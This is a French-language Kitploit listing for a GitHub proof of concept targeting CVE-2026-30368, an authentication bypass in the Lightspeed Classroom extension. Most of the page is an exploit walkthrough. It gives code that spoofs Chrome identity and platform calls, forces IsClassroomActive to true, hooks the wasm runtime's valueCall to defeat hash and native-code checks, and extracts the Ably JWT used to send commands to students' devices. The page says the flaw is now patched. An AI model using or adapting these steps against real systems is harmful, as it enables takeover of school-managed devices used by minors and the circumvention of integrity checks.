Skip to content
KitploitKITPLOIT
OutilsExploitsBlog
Log in
Soumettre
OutilsExploitsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

FluxContactConfidentialité© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
ls-poc — Preuve de concept pour CVE-2026-30368, démontrant un contournement d'authentification dans Lightspeed Classroom pour contrôler les appareils des étudiants via le canal Ably. | Kitploit
Outils/GitHubGitHub/truekas/ls-poc
ReconnaissanceExploitationExploitation d'Applications WebCommandement et ContrôleOutil d'Accès à DistanceDéveloppement de Charges Utiles
GitHubtruekas/ls-poc

ls-poc

Preuve de concept pour CVE-2026-30368, démontrant un contournement d'authentification dans Lightspeed Classroom pour contrôler les appareils des étudiants via le canal Ably.

Voir le dépôt
13229il y a 5 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

Preuve de concept CVE-2026-30368

[!IMPORTANT]

Ceci est corrigé et nécessite désormais des identifiants, utilisez la solution de contournement pour effectuer des actions sur vous-même.

Introduction

CVE-2026-30368 permet à un attaquant de contrôler les appareils des étudiants via une faille d'authentification faible dans la gestion de classe Lightspeed Classroom. La POC (poc.js) exécute le service worker de l'extension LS Classroom dans un contexte global. Le worker exécute également classroom.wasm pour certaines fonctions. wasm-loader.js charge le worker et extrait le jeton JWT généré par classroom.wasm. Une fois extrait, il tue le worker, puis envoie le jeton aux API Lightspeed pour recevoir un jeton utilisé pour se connecter au canal Ably de la cible. De là, un attaquant pourrait envoyer une commande à un appareil étudiant. La liste des commandes et beaucoup plus d'informations se trouvent dans le rapport complet disponible ici.

VOUS DEVEZ FOURNIR VOS PROPRES FICHIERS WORKER.JS, CLASSROOM.WASM ET MANIFEST.JSON !

Ceux-ci ne peuvent pas être dans ce dépôt car :

  • Ce dépôt sera définitivement DMCAd par Lightspeed si je le fais
  • Les fichiers sont différents pour chaque district/version

Pour éviter les problèmes, je recommande d'utiliser la version 5.1.2.1763770643. Si vous avez besoin d'aide pour adapter des versions plus récentes, vous êtes seul.
Vous pouvez obtenir les fichiers worker.js et classroom.wasm à partir du code source de l'extension Lightspeed. Cela peut être obtenu en vous connectant avec votre compte scolaire sur Chrome sur un appareil personnel, puis en extrayant le code source de l'extension depuis le dossier des extensions situé dans votre répertoire de profil Chrome. Vous pouvez également télécharger manuellement le crx via l'URL de mise à jour.

MÉTHODE RECOMMANDÉE

La méthode la plus simple de cette exploitation consiste d'abord à obtenir classroom.wasm à partir du code source de votre extension, puis à le coller dans le même répertoire que wasm-only.js, et à exécuter :

$ node wasm-only.js

Saisissez un e-mail et un ID client lorsque vous y êtes invité. Cela se connectera au canal ably. Allez à la ligne 815 et décommentez ce que vous voulez envoyer comme messages. Crédit : ktibow sur discord

Configuration du chargeur wasm

Une fois que vous avez les fichiers, ajoutez-les simplement au répertoire du dépôt cloné. Vous devrez aller dans wasm-loader.js jusqu'à la fonction getManifest() et coller votre manifeste d'extension là-bas. Vous devrez également ajouter l'ID d'extension en haut de wasm-loader.js.

Faites une copie de worker.js avec un nom de fichier à votre convenance. Vous en aurez besoin plus tard. Vous devrez exécuter worker.js via webcrack afin de désobfusquer et déminifier pour effectuer les modifications nécessaires. Lorsque vous faites cela, assurez-vous de sélectionner uniquement les options "Deobfuscate" et "Unminify". Avant de coller le résultat dans votre éditeur, il est recommandé de désactiver tous les serveurs LSP car ils supprimeront des variables aléatoires et casseront le worker dans les étapes suivantes (je vous regarde, vtsls...)

Correction du Worker

Étant donné que le service worker sera exécuté sur node.js (assurez-vous de l'avoir installé), il aura besoin de quelques correctifs pour fonctionner correctement. La logique d'extraction du JWT doit également être ajoutée. Ajoutez les 2 fonctions suivantes tout en haut de worker.js :

function valueCallBefore(call, before, func, r) {
  const actualWorkerUrl = 'chrome-extension://YOUR_EXTENSION_ID/worker_copy.js'
  if (call[0] == "chrome-extension://YOUR_EXTENSION_ID/worker.js") {
    return [actualWorkerUrl, call[1]];
  }
  if (func == chrome.identity.getProfileUserInfo) {
          call[1](https://github.com/truekas/ls-poc/blob/master/identity)
          return []
  }
  return before
}

function valueCallAfter(call, after, func, r) {
  if (func.name == "toString"){
          return 'function getProfileUserInfo() { [native code] }'
  }
  if (call[0] == "worker.js") {
          return "chrome-extension://YOUR_EXTENSION_ID/worker_copy.js"
  }
  return after
}

Ces fonctions seront utilisées lorsque nous modifierons le runtime go wasm pour intercepter et modifier les valeurs utilisées par le wasm LS classroom. Assurez-vous de remplacer YOUR_EXTENSION_ID par votre ID d'extension et worker_copy.js par le nom de fichier de la copie du worker.js original que vous avez faite précédemment. Ensuite, ajoutez ces 2 fonctions à l'intérieur de la fonction fléchée principale (après le (() => {)

chrome.runtime.getPlatformInfo = function (e) {
 	e({
  		"arch": "x86-64",
  		"nacl_arch": "x86-64",
  		"os": "cros"
 	})
 	return {
  		"arch": "x86-64",
  		"nacl_arch": "x86-64",
  		"os": "cros"
 	}
}

chrome.identity.getProfileUserInfo = function (e) {
 	if (e){
  		e(identity)
 	} else {
  		return identity
 	}
}

Ensuite, vous devez coder en dur IsClassroomActive sur true afin de pouvoir exécuter cela en dehors des réseaux du campus. Modifiez simplement la fonction pour qu'elle retourne toujours true :

_0x22e7ce.exports = {
  IsChromebookOnly: _0x218c73,
  IsClassroomActive: function () {
    return true;
  },
  LoadPolicy: _0x9069fc
};

Ensuite, recherchez syscall/js.valueCall pour trouver la fonction valueCall qui doit être modifiée. C'est ce qui informe le wasm d'une valeur JS. Les 2 valeurs qui sont interceptées et modifiées en modifiant cette fonction sont le chemin de worker.js (il est changé en copie de votre worker pour que la vérification de hachage réussisse) et la valeur de chrome.identity.getProfileUserInfo.toString est changée pour dire native code afin que le WASM croie qu'il peut être fiable alors qu'en réalité il a été modifié en haut du fichier. Pour ce faire, vous devez utiliser les fonctions valueCallBefore et valueCallAfter que nous avons définies en haut. Modifiez la fonction valueCall comme suit (les noms de variables varieront, mais la structure est la même) :

"syscall/js.valueCall": function (_0x4b3309) {
  _0x4b3309 >>>= 0;
  try {
    var _0x35f3af = _0x3634e7(_0x4b3309 + 8);
    var _0x13b354 = Reflect.get(_0x35f3af, _0x221273(_0x4b3309 + 16));
    var _0x369f3d = _0x5a331c(_0x4b3309 + 32);
    _0x369f3d = valueCallBefore(_0x369f3d, _0x369f3d, _0x13b354, _0x35f3af);
    var _0x1b573a = Reflect.apply(_0x13b354, _0x35f3af, _0x369f3d);
    _0x1b573a = valueCallAfter(_0x369f3d, _0x1b573a, _0x13b354, _0x35f3af);
    _0x4b3309 = _0x489a1f._inst.exports.getsp() >>> 0;
    _0x51c0ee(_0x4b3309 + 56, _0x1b573a);
    _0x489a1f.mem.setUint8(_0x4b3309 + 64, 1);
  } catch (_0x4b14cb) {
    _0x4b3309 = _0x489a1f._inst.exports.getsp() >>> 0;
    _0x51c0ee(_0x4b3309 + 56, _0x4b14cb);
    _0x489a1f.mem.setUint8(_0x4b3309 + 64, 0);
  }
},

Presque terminé. Enfin, vous devez ajouter du code pour capturer le JWT. Recherchez echoMessages: false et vous trouverez la variable contenant la liste des en-têtes envoyés à Ably. Juste en dessous, ajoutez cette ligne (les noms de variables ne seront très probablement pas exacts, vous pouvez trouver la même ligne accédant à ablyJwt dans authHeaders) :

globalThis.__LIGHTSPEED_JWT__ = _0xed754d("ablyJwt");

Cela assigne le JWT à une variable dans la portée globale afin que wasm-loader.js (le "harnais" exécutant le service worker) puisse y accéder. Cela conclut la modification du worker. Assurez-vous que tous vos LSP sont toujours désactivés. S'ils se sont réactivés, vous pourriez rencontrer des problèmes avec des variables non définies plus tard.

Télécharger l’outil